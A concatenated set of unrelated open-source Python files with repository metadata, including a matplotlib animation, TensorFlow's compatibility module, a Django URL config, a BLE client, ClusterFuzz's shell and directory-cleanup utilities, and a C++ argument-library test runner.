ace8d488459b32ae1c2fe216accbbd1dce30d390

288

py

Python

scripts/animation.py

brickbitbot/cheatsheets

c3b4509bf76fc180621ca1e6433d42742a656759

[ "BSD-2-Clause" ]

2

2021-08-04T09:01:15.000Z

2021-08-04T18:54:19.000Z

scripts/animation.py

tamtridung/cheatsheets

2e1d87bd3d03497b335ba5f936102a9fb5e7afac

[ "BSD-2-Clause" ]

2

2021-05-05T01:05:10.000Z

2021-05-05T01:05:32.000Z

scripts/animation.py

tamtridung/cheatsheets

2e1d87bd3d03497b335ba5f936102a9fb5e7afac

[ "BSD-2-Clause" ]

1

2022-01-20T12:42:22.000Z

import numpy as np import matplotlib.pyplot as plt import matplotlib.animation as animation T = np.linspace(0,2*np.pi,100) S = np.sin(T) line, = plt.plot(T, S) def animate(i): line.set_ydata(np.sin(T+i/50)) a=animation.FuncAnimation( plt.gcf(), animate, interval=5) # plt.show()

22.153846

40

0.704861

ace8d5125f76ec27f4ad14ee3b31ff8b79afed08

150

py

Python

tests/model_control/detailed/transf_Logit/model_control_one_enabled_Logit_Lag1Trend_NoCycle_AR.py

jmabry/pyaf

afbc15a851a2445a7824bf255af612dc429265af

[ "BSD-3-Clause" ]

null

tests/model_control/detailed/transf_Logit/model_control_one_enabled_Logit_Lag1Trend_NoCycle_AR.py

jmabry/pyaf

afbc15a851a2445a7824bf255af612dc429265af

[ "BSD-3-Clause" ]

1

2019-11-30T23:39:38.000Z

2019-12-01T04:34:35.000Z

tests/model_control/detailed/transf_Logit/model_control_one_enabled_Logit_Lag1Trend_NoCycle_AR.py

jmabry/pyaf

afbc15a851a2445a7824bf255af612dc429265af

[ "BSD-3-Clause" ]

null

import pyaf.tests.model_control.test_ozone_custom_models_enabled as testmod testmod.build_model( ['Logit'] , ['Lag1Trend'] , ['NoCycle'] , ['AR'] );

37.5

75

0.733333

ace8d53680ce69fcdfe588ba101ea6f14b00a73d

510

py

Python

source/build/turtlebot_pkg/catkin_generated/pkg.develspace.context.pc.py

royeom/Turtlebot_Autorace

15615b71f6b190e89efd9c9672f1c95d2f598c64

[ "BSD-3-Clause" ]

null

source/build/turtlebot_pkg/catkin_generated/pkg.develspace.context.pc.py

royeom/Turtlebot_Autorace

15615b71f6b190e89efd9c9672f1c95d2f598c64

[ "BSD-3-Clause" ]

null

source/build/turtlebot_pkg/catkin_generated/pkg.develspace.context.pc.py

royeom/Turtlebot_Autorace

15615b71f6b190e89efd9c9672f1c95d2f598c64

[ "BSD-3-Clause" ]

null

# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/home/bonobono/catkin_ws/devel/include".split(';') if "/home/bonobono/catkin_ws/devel/include" != "" else [] PROJECT_CATKIN_DEPENDS = "roscpp;std_msgs".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "-loroca_ros_tutorials".split(';') if "-loroca_ros_tutorials" != "" else [] PROJECT_NAME = "turtlebot_pkg" PROJECT_SPACE_DIR = "/home/bonobono/catkin_ws/devel" PROJECT_VERSION = "0.0.0"

56.666667

143

0.758824

ace8d632a8998c200d36aebb61f7a1f580e6ac99

894

py

Python

tests/libs/pagerduty/pagerduty_tests.py

pythonghana/gatekeeper-service

e609e375f9cf80a1bc721c8b314c3b1c47831ad0

[ "Apache-2.0" ]

28

2018-06-22T17:43:40.000Z

2022-03-11T03:10:20.000Z

tests/libs/pagerduty/pagerduty_tests.py

pythonghana/gatekeeper-service

e609e375f9cf80a1bc721c8b314c3b1c47831ad0

[ "Apache-2.0" ]

1

2022-03-21T00:59:32.000Z

tests/libs/pagerduty/pagerduty_tests.py

pythonghana/gatekeeper-service

e609e375f9cf80a1bc721c8b314c3b1c47831ad0

[ "Apache-2.0" ]

7

2018-06-22T18:02:37.000Z

2022-03-21T00:59:21.000Z

import json from unittest import TestCase import os from pagerduty import PagerDutyApi from mock import patch, MagicMock CALL_PAGERDUTY_API = "pagerduty.HttpController.api_request" class PagerDutyApiTests(TestCase): def read_resource_file(self, res_file): mock_results_dir = "tests/libs/pagerduty/mock_results" try: mock_resource_file = os.path.join(mock_results_dir, res_file) with open(mock_resource_file, "r") as fp: self.mock_resource = json.loads(fp.read()) fp.close() except IOError: self.mock_resource = None return self.mock_resource @patch(CALL_PAGERDUTY_API) def test_delete_user_pass(self, mock_pagerduty_api): mock_pagerduty_api.return_value = "" pagerduty_admin = PagerDutyApi(use_proxy=False, config=MagicMock()) delete_user = pagerduty_admin.delete_user(user_id="PP7WT8E") assert delete_user == ""

27.090909

71

0.748322

ace8d6934e31b34aecd0fe8d90f4d17688cecc59

5,877

py

Python

tensorflow/python/compat/compat.py

buchgr/tensorflow

2938772a08ed02ced4663ca38168ab3f82e8f81b

[ "Apache-2.0" ]

null

tensorflow/python/compat/compat.py

buchgr/tensorflow

2938772a08ed02ced4663ca38168ab3f82e8f81b

[ "Apache-2.0" ]

2

2021-08-25T15:57:54.000Z

2022-02-10T01:14:29.000Z

tensorflow/python/compat/compat.py

buchgr/tensorflow

2938772a08ed02ced4663ca38168ab3f82e8f81b

[ "Apache-2.0" ]

null

# Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Utilities for API compatibility between TensorFlow release versions. See [Version Compatibility](https://tensorflow.org/guide/version_compat#backward_forward) """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import datetime import os from tensorflow.python.util import tf_contextlib from tensorflow.python.util.tf_export import tf_export # This value changes every day with an automatic CL. It can be modified in code # via `forward_compatibility_horizon()` or with the environment variable # TF_FORWARD_COMPATIBILITY_DELTA_DAYS, which is added to the compatibility date. _FORWARD_COMPATIBILITY_HORIZON = datetime.date(2020, 1, 27) _FORWARD_COMPATIBILITY_DELTA_DAYS_VAR_NAME = "TF_FORWARD_COMPATIBILITY_DELTA_DAYS" _FORWARD_COMPATIBILITY_DATE_NUMBER = None def _date_to_date_number(year, month, day): return (year << 9) | (month << 5) | day def _update_forward_compatibility_date_number(date_to_override=None): """Update the base date to compare in forward_compatible function.""" global _FORWARD_COMPATIBILITY_DATE_NUMBER if date_to_override: date = date_to_override else: date = _FORWARD_COMPATIBILITY_HORIZON delta_days = os.getenv(_FORWARD_COMPATIBILITY_DELTA_DAYS_VAR_NAME) if delta_days: date += datetime.timedelta(days=int(delta_days)) _FORWARD_COMPATIBILITY_DATE_NUMBER = _date_to_date_number( date.year, date.month, date.day) _update_forward_compatibility_date_number() @tf_export("compat.forward_compatible") def forward_compatible(year, month, day): """Return true if the forward compatibility window has expired. See [Version compatibility](https://tensorflow.org/guide/version_compat#backward_forward). Forward-compatibility refers to scenarios where the producer of a TensorFlow model (a GraphDef or SavedModel) is compiled against a version of the TensorFlow library newer than what the consumer was compiled against. The "producer" is typically a Python program that constructs and trains a model while the "consumer" is typically another program that loads and serves the model. TensorFlow has been supporting a 3 week forward-compatibility window for programs compiled from source at HEAD. For example, consider the case where a new operation `MyNewAwesomeAdd` is created with the intent of replacing the implementation of an existing Python wrapper - `tf.add`. The Python wrapper implementation should change from something like: ```python def add(inputs, name=None): return gen_math_ops.add(inputs, name) ``` to: ```python from tensorflow.python.compat import compat def add(inputs, name=None): if compat.forward_compatible(year, month, day): # Can use the awesome new implementation. return gen_math_ops.my_new_awesome_add(inputs, name) # To maintain forward compatibiltiy, use the old implementation. return gen_math_ops.add(inputs, name) ``` Where `year`, `month`, and `day` specify the date beyond which binaries that consume a model are expected to have been updated to include the new operations. This date is typically at least 3 weeks beyond the date the code that adds the new operation is committed. Args: year: A year (e.g., 2018). Must be an `int`. month: A month (1 <= month <= 12) in year. Must be an `int`. day: A day (1 <= day <= 31, or 30, or 29, or 28) in month. Must be an `int`. Returns: True if the caller can expect that serialized TensorFlow graphs produced can be consumed by programs that are compiled with the TensorFlow library source code after (year, month, day). """ return _FORWARD_COMPATIBILITY_DATE_NUMBER > _date_to_date_number( year, month, day) @tf_export("compat.forward_compatibility_horizon") @tf_contextlib.contextmanager def forward_compatibility_horizon(year, month, day): """Context manager for testing forward compatibility of generated graphs. See [Version compatibility](https://tensorflow.org/guide/version_compat#backward_forward). To ensure forward compatibility of generated graphs (see `forward_compatible`) with older binaries, new features can be gated with: ```python if compat.forward_compatible(year=2018, month=08, date=01): generate_graph_with_new_features() else: generate_graph_so_older_binaries_can_consume_it() ``` However, when adding new features, one may want to unittest it before the forward compatibility window expires. This context manager enables such tests. For example: ```python from tensorflow.python.compat import compat def testMyNewFeature(self): with compat.forward_compatibility_horizon(2018, 08, 02): # Test that generate_graph_with_new_features() has an effect ``` Args: year: A year (e.g., 2018). Must be an `int`. month: A month (1 <= month <= 12) in year. Must be an `int`. day: A day (1 <= day <= 31, or 30, or 29, or 28) in month. Must be an `int`. Yields: Nothing. """ try: _update_forward_compatibility_date_number(datetime.date(year, month, day)) yield finally: _update_forward_compatibility_date_number()

35.191617

82

0.74766

ace8d6baa6683578e1186a6d912bf29d087a0fd9

822

py

Python

Templates_I/Templates_I/urls.py

BrianMarquez3/Python-Django

61f84a01b7f57254f9dcbbad86cc4c88c2acf4d7

[ "MIT" ]

2

2020-09-28T21:23:59.000Z

2021-11-10T15:01:15.000Z

Templates_I/Templates_I/urls.py

BrianMarquez3/Python-Django

61f84a01b7f57254f9dcbbad86cc4c88c2acf4d7

[ "MIT" ]

21

2021-02-04T01:37:44.000Z

2022-03-12T01:00:55.000Z

Templates_I/Templates_I/urls.py

BrianMarquez3/Python-Django

61f84a01b7f57254f9dcbbad86cc4c88c2acf4d7

[ "MIT" ]

null

"""ORM_II URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path from core.erp.views import myfirstView urlpatterns = [ path('admin/', admin.site.urls), path('prueba/', myfirstView), ]

32.88

77

0.710462

ace8d76a46cc7e4e07c5d7f3a8b9a7671ded3802

2,092

py

Python

adaptiveleak/device/energy_client.py

tejaskannan/adaptive-sensor-security

4c6dd1eb55eb30a8330c4bf3537e06c7d7802c0b

[ "Apache-2.0" ]

null

adaptiveleak/device/energy_client.py

tejaskannan/adaptive-sensor-security

4c6dd1eb55eb30a8330c4bf3537e06c7d7802c0b

[ "Apache-2.0" ]

null

adaptiveleak/device/energy_client.py

tejaskannan/adaptive-sensor-security

4c6dd1eb55eb30a8330c4bf3537e06c7d7802c0b

[ "Apache-2.0" ]

null

import numpy as np import os import sys import time from argparse import ArgumentParser from functools import reduce from typing import Optional, Iterable, List from ble_manager import BLEManager MAC_ADDRESS = '00:35:FF:13:A3:1E' BLE_HANDLE = 18 HCI_DEVICE = 'hci0' SLEEP = 2 sizes = [20, 40, 80, 120, 160, 200, 240, 280, 320, 360, 400, 440, 480, 520, 560, 600, 640, 680, 33, 479, 675, 886, 970] def execute_client(num_bytes: int, num_trials: int): """ Starts the device client. This function connects with the devices (to reset the sleep mode), and then recieves a single message when specified. Args: num_bytes: The number of bytes to receive """ assert num_bytes >= 1, 'Must provide a positive number of bytes' byte_index = sizes.index(num_bytes) # Initialize the device manager device_manager = BLEManager(mac_addr=MAC_ADDRESS, handle=BLE_HANDLE, hci_device=HCI_DEVICE) print('==========') print('Starting experiment') print('==========') # Start and reset the device try: device_manager.start() #device_manager.send_and_expect_byte(value=b'\xab', expected='\xcd') finally: device_manager.stop() print('Press any key to start...') x = input() for _ in range(num_trials): try: device_manager.start() size_index = (byte_index + 10).to_bytes(1, 'little') response = device_manager.query(value=size_index) #device_manager.send(value=b'\xab') #data = num_bytes.to_bytes(2, 'big') #response = device_manager.query(value=data) print('Received response of {0} bytes (Target: {1})'.format(len(response), num_bytes)) finally: device_manager.stop() time.sleep(SLEEP) if __name__ == '__main__': parser = ArgumentParser() parser.add_argument('--num-bytes', type=int, required=True) parser.add_argument('--num-trials', type=int, required=True) args = parser.parse_args() execute_client(num_bytes=args.num_bytes, num_trials=args.num_trials)

29.055556

119

0.657266

ace8d7f2df31aa1cf437b40e7a9fa7b7e672fd73

18,300

py

Python

src/python/system/shell.py

phwd/clusterfuzz

420ef737056165184c165f81487212d2e752a71e

[ "Apache-2.0" ]

null

src/python/system/shell.py

phwd/clusterfuzz

420ef737056165184c165f81487212d2e752a71e

[ "Apache-2.0" ]

null

src/python/system/shell.py

phwd/clusterfuzz

420ef737056165184c165f81487212d2e752a71e

[ "Apache-2.0" ]

null

# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Shell related functions.""" from builtins import str import os import re import shlex import shutil import subprocess import sys import tempfile from base import persistent_cache from metrics import logs from system import environment try: import psutil except ImportError: psutil = None _DEFAULT_LOW_DISK_SPACE_THRESHOLD = 5 * 1024 * 1024 * 1024 # 5 GB. _TRUSTED_HOST_LOW_DISK_SPACE_THRESHOLD = 2 * 1024 * 1024 # 2 GB. FILE_COPY_BUFFER_SIZE = 10 * 1024 * 1024 # 10 MB. HANDLE_OUTPUT_FILE_TYPE_REGEX = re.compile( br'.*pid:\s*(\d+)\s*type:\s*File\s*([a-fA-F0-9]+):\s*(.*)') _system_temp_dir = None def _low_disk_space_threshold(): """Get the low disk space threshold.""" if environment.is_trusted_host(ensure_connected=False): # Trusted hosts can run with less free space as they do not store builds or # corpora. return _TRUSTED_HOST_LOW_DISK_SPACE_THRESHOLD return _DEFAULT_LOW_DISK_SPACE_THRESHOLD def copy_file(source_file_path, destination_file_path): """Faster version of shutil.copy with buffer size.""" if not os.path.exists(source_file_path): logs.log_error('Source file %s for copy not found.' % source_file_path) return False error_occurred = False try: with open(source_file_path, 'rb') as source_file_handle: with open(destination_file_path, 'wb') as destination_file_handle: shutil.copyfileobj(source_file_handle, destination_file_handle, FILE_COPY_BUFFER_SIZE) except: error_occurred = True # Make sure that the destination file actually exists. error_occurred |= not os.path.exists(destination_file_path) if error_occurred: logs.log_warn('Failed to copy source file %s to destination file %s.' % (source_file_path, destination_file_path)) return False return True def clear_build_directory(): """Clears the build directory.""" remove_directory(environment.get_value('BUILDS_DIR'), recreate=True) def clear_build_urls_directory(): """Clears the build url directory.""" remove_directory(environment.get_value('BUILD_URLS_DIR'), recreate=True) if environment.is_trusted_host(): from bot.untrusted_runner import file_host file_host.clear_build_urls_directory() def clear_crash_stacktraces_directory(): """Clears the crash stacktraces directory.""" remove_directory( environment.get_value('CRASH_STACKTRACES_DIR'), recreate=True) def clear_common_data_bundles_directory(): """Clear the common data bundle directory.""" remove_directory(environment.get_value('FUZZ_DATA'), recreate=True) def clear_data_bundles_directory(): """Clears the data bundles directory.""" remove_directory(environment.get_value('DATA_BUNDLES_DIR'), recreate=True) def clear_mutator_plugins_directory(): """Clears the mutator plugins directory.""" remove_directory(environment.get_value('MUTATOR_PLUGINS_DIR'), recreate=True) def clear_data_directories(): """Clear all data directories.""" clear_build_directory() clear_build_urls_directory() clear_crash_stacktraces_directory() clear_common_data_bundles_directory() clear_data_bundles_directory() clear_fuzzers_directories() clear_temp_directory() clear_testcase_directories() clear_mutator_plugins_directory() persistent_cache.clear_values(clear_all=True) def clear_data_directories_on_low_disk_space(): """Clear all data directories on low disk space. This should ideally never happen, but when it does, we do this to keep the bot working in sane state.""" free_disk_space = get_free_disk_space() if free_disk_space is None: # Can't determine free disk space, bail out. return if free_disk_space >= _low_disk_space_threshold(): return logs.log_warn( 'Low disk space detected, clearing all data directories to free up space.' ) clear_data_directories() def clear_device_temp_directories(): """Clear device specific temp directories.""" if environment.platform() == 'ANDROID': from platforms import android android.device.clear_temp_directories() def clear_fuzzers_directories(): """Clears the fuzzers directory.""" remove_directory(environment.get_value('FUZZERS_DIR'), recreate=True) def clear_temp_directory(clear_user_profile_directories=True): """Clear the temporary directories.""" temp_directory = environment.get_value('BOT_TMPDIR') remove_directory(temp_directory, recreate=True) test_temp_directory = environment.get_value('TEST_TMPDIR') if test_temp_directory != temp_directory: remove_directory(test_temp_directory, recreate=True) if environment.is_trusted_host(): from bot.untrusted_runner import file_host file_host.clear_temp_directory() if not clear_user_profile_directories: return user_profile_root_directory = environment.get_value('USER_PROFILE_ROOT_DIR') if not user_profile_root_directory: return remove_directory(user_profile_root_directory, recreate=True) @environment.local_noop def clear_system_temp_directory(): """Clear system specific temp directory.""" def _delete_object(path, delete_func): """Delete a object with its delete function, ignoring any error.""" try: delete_func(path) except: pass if environment.get_value('SKIP_SYSTEM_TEMP_CLEANUP'): # This provides a way to avoid clearing system temporary directory when it # can interfere with other processes on the system. return # Cache system temp directory to avoid iterating through the system dir list # on every gettempdir call. Also, it helps to avoid a case where temp dir # fills up the disk and gets ignored by gettempdir. global _system_temp_dir if not _system_temp_dir: _system_temp_dir = tempfile.gettempdir() # Use a custom cleanup rather than using |remove_directory| since it # recreates the directory and can mess up permissions and symlinks. for root, dirs, files in walk(_system_temp_dir, topdown=False): for name in files: _delete_object(os.path.join(root, name), os.remove) for name in dirs: _delete_object(os.path.join(root, name), os.rmdir) logs.log('Cleared system temp directory: %s' % _system_temp_dir) def clear_testcase_directories(): """Clears the testcase directories.""" remove_directory(environment.get_value('FUZZ_INPUTS'), recreate=True) remove_directory(environment.get_value('FUZZ_INPUTS_DISK'), recreate=True) if environment.platform() == 'ANDROID': from platforms import android android.device.clear_testcase_directory() if environment.platform() == 'FUCHSIA': from platforms import fuchsia fuchsia.device.clear_testcase_directory() if environment.is_trusted_host(): from bot.untrusted_runner import file_host file_host.clear_testcase_directories() def close_open_file_handles_if_needed(path): """Try to close all open file handle for a specific path.""" if environment.platform() != 'WINDOWS': # Handle closing is only applicable on Windows platform. return resources_directory = environment.get_platform_resources_directory() handle_executable_path = os.path.join(resources_directory, 'handle.exe') handle_output = execute_command( '%s -accepteula "%s"' % (handle_executable_path, path)) for line in handle_output.splitlines(): match = HANDLE_OUTPUT_FILE_TYPE_REGEX.match(line) if not match: continue process_id = match.group(1).decode('utf-8') file_handle_id = match.group(2).decode('utf-8') file_path = match.group(3).decode('utf-8') logs.log( 'Closing file handle id %s for path %s.' % (file_handle_id, file_path)) execute_command('%s -accepteula -c %s -p %s -y' % (handle_executable_path, file_handle_id, process_id)) def create_directory(directory, create_intermediates=False, recreate=False): """Creates |directory|. Create intermediate directories if |create_intermediates|. Ignore if it already exists and |recreate| is False.""" if os.path.exists(directory): if recreate: remove_directory(directory) else: return True try: if create_intermediates: os.makedirs(directory) else: os.mkdir(directory) except: logs.log_error('Unable to create directory %s.' % directory) return False return True def execute_command(shell_command): """Run a command, returning its output.""" try: process_handle = subprocess.Popen( shell_command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output, _ = process_handle.communicate() except: logs.log_error('Error while executing command %s.' % shell_command) return '' return output def get_command_and_arguments(command_line): if environment.platform() == 'WINDOWS': command = command_line else: command = shlex.split(command_line, posix=True) return command, None def get_command_line_from_argument_list(argument_list): """Convert a list of arguments to a string.""" return subprocess.list2cmdline(argument_list) def get_directory_file_count(directory_path): """Returns number of files within a directory (recursively).""" file_count = 0 for (root, _, files) in walk(directory_path): for filename in files: file_path = os.path.join(root, filename) if not os.path.isfile(file_path): continue file_count += 1 return file_count def get_directory_size(directory_path): """Returns size of a directory (in bytes).""" directory_size = 0 for (root, _, files) in walk(directory_path): for filename in files: file_path = os.path.join(root, filename) directory_size += os.path.getsize(file_path) return directory_size def get_files_list(directory_path): """Returns a list of files in a directory (recursively).""" files_list = [] for (root, _, files) in walk(directory_path): for filename in files: file_path = os.path.join(root, filename) if not os.path.isfile(file_path): continue files_list.append(file_path) return files_list def get_free_disk_space(path='/'): """Return free disk space.""" if not os.path.exists(path): return None return psutil.disk_usage(path).free def get_interpreter(file_to_execute, is_blackbox_fuzzer=False): """Gives the interpreter needed to execute |file_to_execute|.""" interpreters = { '.bash': 'bash', '.class': 'java', '.js': 'node', '.pl': 'perl', '.py': sys.executable, '.pyc': sys.executable, '.sh': 'sh' } try: interpreter = interpreters[os.path.splitext(file_to_execute)[1]] except KeyError: return None # TODO(mbarbella): Remove this when fuzzers have been migrated to Python 3. if (is_blackbox_fuzzer and interpreter == sys.executable and environment.get_value('USE_PYTHON2_FOR_BLACKBOX_FUZZERS') and sys.version_info.major == 3): interpreter = 'python2' return interpreter def get_execute_command(file_to_execute, is_blackbox_fuzzer=False): """Return command to execute |file_to_execute|.""" interpreter_path = get_interpreter( file_to_execute, is_blackbox_fuzzer=is_blackbox_fuzzer) # Hack for Java scripts. file_to_execute = file_to_execute.replace('.class', '') if interpreter_path: command = '%s %s' % (interpreter_path, file_to_execute) else: # Handle executables that don't need an interpreter. command = file_to_execute return command def move(src, dst): """Wrapper around shutil.move(src, dst). If shutil.move throws an shutil.Error the exception is caught, an error is logged, and False is returned.""" try: shutil.move(src, dst) return True except shutil.Error: logs.log_error('Failed to move %s to %s' % (src, dst)) return False def remove_empty_files(root_path): """Removes empty files in a path recursively""" for directory, _, filenames in walk(root_path): for filename in filenames: path = os.path.join(directory, filename) if os.path.getsize(path) > 0: continue try: os.remove(path) except: logs.log_error('Unable to remove the empty file: %s (%s).' % (path, sys.exc_info()[0])) def remove_empty_directories(path): """Removes empty folder in a path recursively.""" if not os.path.isdir(path): return # Remove empty sub-folders. files = os.listdir(path) for filename in files: absolute_path = os.path.join(path, filename) if os.path.isdir(absolute_path): remove_empty_directories(absolute_path) # If folder is empty, delete it. files = os.listdir(path) if not files: try: os.rmdir(path) except: logs.log_error('Unable to remove empty folder %s.' % path) def remove_file(file_path): """Removes a file, ignoring any error if it occurs.""" try: if os.path.exists(file_path): os.remove(file_path) except: pass def remove_directory(directory, recreate=False, ignore_errors=False): """Removes a directory tree.""" # Log errors as warnings if |ignore_errors| is set. log_error_func = logs.log_warn if ignore_errors else logs.log_error def clear_read_only(func, path, _): """Clear the read-only bit and reattempt the removal again. This is needed on Windows.""" try: os.chmod(path, 0o750) except: # If this is tmpfs, we will probably fail. pass try: func(path) except: # Log errors for all cases except device or resource busy errors, as such # errors are expected in cases when mounts are used. error_message = str(sys.exc_info()[1]) if 'Device or resource busy' not in error_message: logs.log_warn( 'Failed to remove directory %s failed because %s with %s failed. %s' % (directory, func, path, error_message)) # Try the os-specific deletion commands first. This helps to overcome issues # with unicode filename handling. if os.path.exists(directory): if environment.platform() == 'WINDOWS': os.system('rd /s /q "%s" > nul 2>&1' % directory) else: os.system('rm -rf "%s" > /dev/null 2>&1' % directory) if os.path.exists(directory): # If the directory still exists after using native OS delete commands, then # try closing open file handles and then try removing it with read only # bit removed (Windows only). close_open_file_handles_if_needed(directory) shutil.rmtree(directory, onerror=clear_read_only) if os.path.exists(directory): # 1. If directory is a mount point, then directory itself won't be # removed. So, check the list of files inside it. # 2. If directory is a regular directory, then it should have not # existed. if not os.path.ismount(directory) or os.listdir(directory): # Directory could not be cleared. Bail out. log_error_func('Failed to clear directory %s.' % directory) return False return True if not recreate: return True try: os.makedirs(directory) except: log_error_func('Unable to re-create directory %s.' % directory) return False return True def walk(directory, **kwargs): """Wrapper around walk to resolve compatibility issues.""" return os.walk(directory, **kwargs) # Copy of shutil.which from Python 3.3 (unavailable in Python 2.7). # pylint: disable=bad-inline-option,g-inconsistent-quotes,redefined-builtin # yapf: disable def which(cmd, mode=os.F_OK | os.X_OK, path=None): """Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file. `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path. Note: This function was backported from the Python 3 source code. """ # Check that a given file can be accessed with the correct mode. # Additionally check that `file` is not a directory, as on Windows # directories pass the os.access check. def _access_check(fn, mode): return ( os.path.exists(fn) and os.access(fn, mode) and not os.path.isdir(fn) ) # If we're given a path with a directory part, look it up directly # rather than referring to PATH directories. This includes checking # relative to the current directory, e.g. ./script if os.path.dirname(cmd): if _access_check(cmd, mode): return cmd return None if path is None: path = os.environ.get("PATH", os.defpath) if not path: return None path = path.split(os.pathsep) if sys.platform == "win32": # The current directory takes precedence on Windows. if os.curdir not in path: path.insert(0, os.curdir) # PATHEXT is necessary to check on Windows. pathext = os.environ.get("PATHEXT", "").split(os.pathsep) # See if the given file matches any of the expected path # extensions. This will allow us to short circuit when given # "python.exe". If it does match, only test that one, otherwise we # have to try others. if any(cmd.lower().endswith(ext.lower()) for ext in pathext): files = [cmd] else: files = [cmd + ext for ext in pathext] else: # On other platforms you don't have things like PATHEXT to tell you # what file suffixes are executable, so just pass on cmd as-is. files = [cmd] seen = set() for dir in path: normdir = os.path.normcase(dir) if normdir not in seen: seen.add(normdir) for thefile in files: name = os.path.join(dir, thefile) if _access_check(name, mode): return name return None # pylint: enable=bad-inline-option,g-inconsistent-quotes,redefined-builtin # yapf: enable

30.860034

80

0.714372

ace8da8ee7526a82f251ef81ddefde497d5b3fef

3,204

py

Python

tests/args-test.py

mbits-libs/libargs

72f5f2b87ae39f26638a585fa4ad0b96b4152ae6

[ "MIT" ]

null

tests/args-test.py

mbits-libs/libargs

72f5f2b87ae39f26638a585fa4ad0b96b4152ae6

[ "MIT" ]

2

2020-09-25T10:07:38.000Z

2020-10-11T16:01:17.000Z

tests/args-test.py

mbits-libs/libargs

72f5f2b87ae39f26638a585fa4ad0b96b4152ae6

[ "MIT" ]

null

#!/usr/bin/env python3 from __future__ import print_function import os import sys import subprocess if sys.stdout.isatty(): COLORS = dict( list(zip([ 'grey', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white', ], list(range(30, 38)) )) ) COLORS['grey'] += 60 RESET = '\033[0m' def colored(text, color=None): fmt_str = '\033[%dm%s' if color is not None: text = fmt_str % (COLORS[color], text) text += RESET return text else: def colored(text, color=None): return text exe = sys.argv[1] print(colored(exe, 'grey')) exe = os.path.abspath(exe) os.chdir(os.path.dirname(__file__)) def mktest(result, title, output): return (int(result), title, output) def tests(): p = subprocess.Popen([exe], stdout=subprocess.PIPE) out, _ = p.communicate() if p.returncode: sys.exit(p.returncode) out = out.decode('utf-8').replace('\r\n', '\n') return [mktest(*line.split(':', 2)) for line in out.split('\n') if line] def simplify(outdata): return outdata.decode('UTF-8').replace('\r\n', '\\n').replace('\n', '\\n').replace('\t', '\\t') tests_failed = 0 test_id = 0 tests = tests() def print_result(test_type, val_exp, val_act, expected, actual, returncode=None, err=None, out=None): global tests_failed if val_exp == val_act: return True tests_failed += 1 print('''Expected equality of these values: expected {type} Which is: {expected} actual {type} Which is: {actual}'''.format(type=test_type, expected=expected, actual=actual)) return False def print_result_simple(test_type, expected, actual): return print_result(test_type, expected, actual, expected, actual) index = -1 for result, title, output in tests: index += 1 print(colored("[ RUN ]", "green"), colored(title, "grey")) sys.stdout.flush() p = subprocess.Popen([exe, "%s" % test_id], stdout=subprocess.PIPE, stderr=subprocess.PIPE) test_id += 1 out, err = p.communicate() failed = p.returncode != 0 should_fail = result != 0 if not print_result('result', should_fail, failed, result, p.returncode, err, out): if p.returncode: print('stderr:') print(err.decode('UTF-8')) print() else: print('stdout:') print(out.decode('UTF-8')) print() print(colored("[ FAILED ]", "red"), colored(title, "grey")) elif output != '' and result == 0 and not print_result_simple('stdout', output, simplify(out)): print(colored("[ FAILED ]", "red"), colored(title, "grey")) elif output != '' and result != 0 and not print_result_simple('stderr', output, simplify(err)): print(colored("[ FAILED ]", "red"), colored( "{} [{}]".format(title, index), "grey")) else: print(colored("[ OK ]", "green"), colored(title, "grey")) print( "Result: {failed}/{total} failed".format(failed=tests_failed, total=len(tests))) sys.exit(tests_failed)

26.04878

101

0.575843

ace8daabbbfae1b6ac6b03f1f72097f4c62cbfcd

1,949

py

Python

fn_qradar_integration/setup.py

khirazo/resilient-community-apps

76d21d899945a5458203d6ba9cfaaf9907b395b2

[ "MIT" ]

null

fn_qradar_integration/setup.py

khirazo/resilient-community-apps

76d21d899945a5458203d6ba9cfaaf9907b395b2

[ "MIT" ]

null

fn_qradar_integration/setup.py

khirazo/resilient-community-apps

76d21d899945a5458203d6ba9cfaaf9907b395b2

[ "MIT" ]

null

